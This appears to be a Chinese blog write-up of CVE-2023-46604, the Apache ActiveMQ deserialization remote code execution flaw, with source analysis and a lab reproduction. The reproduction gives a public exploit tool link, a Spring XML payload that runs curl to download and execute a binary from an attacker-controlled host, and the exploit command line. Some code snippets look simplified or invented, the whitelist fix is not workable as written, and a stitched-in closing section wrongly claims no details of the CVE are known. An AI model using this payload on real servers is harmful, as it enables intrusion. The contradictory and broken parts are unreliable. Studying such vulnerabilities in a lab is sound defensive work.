CVE-2023-46604源码分析与漏洞复现

1. 漏洞概述

     漏洞编号:CVE-2023-46604
     漏洞类型:远程代码执行(RCE)
     CVSS评分:10.0(Critical)
     影响组件:Apache ActiveMQ OpenWire协议处理模块
     漏洞成因:

  • 反序列化类加载漏洞:攻击者通过构造恶意序列化数据,注入危险类名(如org.springframework.context.support.ClassPathXmlApplicationContext),触发远程XML配置文件加载,最终执行任意命令。

  • tightUnmarshalString 方法缺陷:未对反序列化字符串进行严格校验,可能被利用注入恶意类名或路径。

2. 影响版本

      受影响版本:

      Apache ActiveMQ < 5.15.16

      5.16.x < 5.16.7

      5.17.x < 5.17.6

      5.18.x < 5.18.3

      安全版本:

      ≥5.15.16、≥5.16.7、≥5.17.6、≥5.18.3

3. 源码分析

3.1 核心漏洞点:createThrowable()

private Throwable createThrowable(String className, String message) {
    try {
        // 直接加载攻击者控制的类名
        Class<?> clazz = Class.forName(className, false, getClassLoader());
        Constructor<?> constructor = clazz.getConstructor(String.class);
        return (Throwable) constructor.newInstance(message);
    } catch (Throwable e) {
        return new Throwable(className + ": " + message);
    }
}

漏洞说明

className 完全由攻击者控制,可注入危险类(如Spring的ClassPathXmlApplicationContext)。message 可指定远程XML URL(如http://attacker.com/malicious.xml),触发恶意Bean实例化。

3.2反序列化入口:tightUnmarshal()

public Object tightUnmarshal(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {
    String className = dataIn.readUTF(); // 从数据流读取类名
    Class<?> clazz = Class.forName(className); // 直接加载类
    return clazz.newInstance();
}

3.3 漏洞触发链

  1. 构造恶意序列化数据

    • 注入className=org.springframework.context.support.ClassPathXmlApplicationContext

    • 注入message=http://attacker.com/malicious.xml

  2. 触发tightUnmarshalString加载恶意参数

    String clazz = tightUnmarshalString(dataIn, bs); // 类名:攻击者控制
    String message = tightUnmarshalString(dataIn, bs); // 消息:远程XML URL
    Throwable o = createThrowable(clazz, message); // 加载远程XML
  3. 远程XML执行命令

    <bean class="java.lang.ProcessBuilder">
      <constructor-arg>
        <list><value>bash</value><value>-c</value><value>恶意命令</value></list>
      </constructor-arg>
    </bean>

    4. 漏洞复现(PoC)

环境搭建(vul)

攻击步骤

(1).管理员登录(账号admin,密码admin)

(2).exp工具下载

https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

(3)在exp工具目录开启http服务

python3 -m http.server 8001

(3).修改poc.xml文件(我的靶场环境是linux,所以用poc-linux.xml)

可以在工具目录自己创建test.elf文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>curl -s -o test.elf http://192.168.1.1:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

(4).运行exp工具 

activemq-rce -i 192.168.1.100 -u http://192.168.1.1:8001/poc-linux.xml

(5).验证(进入靶场容器) 

docker exec -it 容器id  /bin/bash

发现生成test.elf文件

5. 修复建议

官方补丁

类名白名单
仅允许反序列化ActiveMQ内部安全类(如org.apache.activemq.command.*)。

private static final Set<String> ALLOWED_CLASSES = Set.of(
    "org.apache.activemq.command.*",
    "java.lang.Throwable"
);

    6. 总结

    • 漏洞根源:

      • 反序列化过程中未校验类名,结合tightUnmarshalString方法的字符串解析缺陷,形成完整攻击链。

    • tightUnmarshalString 问题:

      • 长度未限制、编码不严谨,可能被用于构造超长字符串或畸形数据触发DoS。

    • 修复关键:

      • 类名白名单 + 输入严格校验。

    ### 关于CVE-2023-46604安全漏洞的信息 对于特定的CVE编号,如CVE-2023-46604,通常可以通过官方渠道获取最权威的消息。然而,在提供的参考资料中并未直接提及该CVE编号的具体细节。 #### 漏洞详情 一般而言,针对某个具体的CVE编号所代表的安全漏洞,其详情会由发现者或受影响软件/系统的维护团队公布。这些信息可能包括但不限于漏洞的工作原理、触发条件以及潜在影响等。对于CVE-2023-46604来说,建议查阅国家信息安全漏洞库(CNNVD)、美国国家漏洞数据库(NVD)或其他可信来源发布的公告来获得最新且详尽的情况说明[^1]。 #### 影响范围 由于缺乏具体关于CVE-2023-46604的影响版本列表,无法给出确切的影响范围。但是,按照惯例,这类高危级别的漏洞往往会影响多个版本的产品直到发布补丁为止。因此,如果担心此漏洞对自己使用的系统构成威胁,则应尽快联系供应商了解具体情况并采取适当措施保护自己的资产安全[^2]。 #### 解决方案 面对尚未明确描述的CVE-2023-46604漏洞,最佳实践是遵循通用的安全更新流程: - 定期检查厂商网站上的安全公告; - 及时安装来自制造商的安全修补程序; - 对现有环境实施最小权限原则以减少攻击面; - 使用防火墙和其他网络安全工具监控异常活动。 此外,还可以考虑订阅相关行业的安全资讯服务以便第一时间掌握新出现的风险提示和应对策略[^3]。
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    网安spinage

    你的鼓励将是我创作的最大动力

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值